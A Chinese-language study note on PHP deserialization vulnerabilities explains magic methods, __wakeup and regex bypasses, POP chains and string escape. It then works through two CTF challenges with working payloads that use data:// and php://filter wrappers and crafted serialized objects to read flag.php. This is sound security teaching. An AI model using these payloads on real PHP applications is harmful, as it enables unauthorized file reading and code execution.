寒假2.4:序列化漏洞
知识点:
基本概念
1.序列化:将对象或数据结构转换为可存储或传输的格式(如JSON、XML、二进制格式等)
也就是把一个对象(比如一段数据或者代码)打包成一种格式,方便存起来或者传给别人
2.反序列化:将序列化后的数据重新转换为对象或数据结构
就是把打包好的数据拆开,还原成原来的对象
3.常见序列化格式:
php:serialize() unserialize()
java:ObjectOutputStream ObjectInputStream
python:pickle模块
JSON:json.dumps()和json.loads()
漏洞成因
1.反序列化漏洞:在反序列化过程中,如果恶意者可以对将要转换的字符串进行操控,从而达到任意代码执行的操作
2.主要成因:应用程序在反序列化过程中没有对传入的数据进行足够的验证和过滤,导致攻击者可以利用构造的恶意序列化数据来执行任意代码或远程代码执行攻击
最常见的是反序列化过程中触发了危险的魔术方法
补充:magic函数
__construct:构造函数,当一个对象创建时调用
__destruct:析构函数,当一个对象被销毁时调用
__toString:在类被当成字符串时触发
__sleep:在对象序列化的时候,会调用一个_sleep()方法(即在一个对象被序列化时调用)
__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候,则会自动调用PHP的另一个函数_wakeup()(即在一个对象被反序列化时调用)
__call:在对象中调用一个不存在的方法或者不可访问的方法时触发
__get:在读取不可访问(protected或private)或不存在的属性时触发
__set:在给不可访问(protected或private)或不存在的属性赋值时触发
__invoke:在尝试以调用函数的方式调用一个对象时触发
漏洞利用方式(php语言下)
1.魔术方法触发
(1)_wakeup()函数绕过
触发条件:在反序列化字符串中对象属性个数的值大于实际属性个数时(变量名),可绕过wakeup。(PHP5<5.6.25;PHP7<7.0.10版本存在wakeup的漏洞)
(2)正则绕过
可以用+号来进行绕过,+号添加位置-->类名个数
例如:O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
2.POR链构造
通过构造一系列对象调用链(POR),利用魔术方法执行任意代码
A->B B->C A->B->C 函数和类依靠调用进行执行,通过操控A间接操控C
3.字符串逃逸(闭合)
情况:修改变量名的个数造成实际变量值个数不一致,而反序列化自身机制要求一定要满足字符串长度,则可以通过构造增加减少字符来达到字符串逃逸(一般都会有preg_replace函数)
也就是替换黑名单的词
(1)字符增加
先构造恶意的序列化字符串,计算该字符串长度,再看自己想要构造的语句,进行分析看自己要逃逸出多少字符,在可以控制的参数(一般是pre_replace针对过滤的那个参数)通过增加变量值进行字符串逃逸
(2)字符减少
通过值逃逸和键逃逸直接过滤掉一些关键词
值逃逸:需要有两个键值对,第一个值被过滤后覆盖后一个键,这样第一个键往后找值,而第二个值种自己有键值对单独存在,这就逃逸出去了
键逃逸:只需要有一个键值对,直接构造会被过滤的键,则序列化后的值有一部分充当键,一部分充当值。
序列化代码
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
O表示对象
4表示对象名长度为4
flag:对象名
1表示有一个参数
s表示string对象,4表示字符串长度,file和flag.php是属性名称
例题:
[ZJCTF 2019]NiZhuanSiWei
文件包含漏洞问题
打开环境,直接就是源代码
需要传入三个函数
text函数不为空,且要读取welcome to the zjctf字符串
也就是要传入text文件,并且文件内容为welcome to the zjctf
file_get_contents函数把文件读入到r中
preg_match函数用正则表达式过滤flag(我们需要else里的内容而不是if里的内容)
使用data://协议传入文件及其内容
payload:
?text=data://text/plain,welcome to the zjctf
用filter伪协议尝试读取useless.php文件
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
解码后得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这个代码通过file_get_contents读取文件并输出到页面
后面就是反序列化了
将useless.php和原页面代码联系起来进行构造序列化
可以将file参数设置为flag.php
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
运行得到序列化代码
payload:
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码
[网鼎杯 2020 青龙组]AreUSerialz
打开后直接显示源代码
首先,页面以GET的方法接收str参数,并对str参数进行反序列化操作,反序列化后会生成FileHandler类的对象,PHP函数结束前,会触发__destruct()函数,__destruct()函数会设置变量op的值,并且触发process()函数,process()函数会根据op的值来进行read()和write()方法。output()方法会将结果输出
poc:
<?php
class FileHandler{
public $op=2;
public $filename='php://filter/read=convert.base64-encode/resource=flag.php';
public $content='';
}
$A=new FileHandler();
echo (serialize($A));
?>
payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:0:"";}
解码后得到flag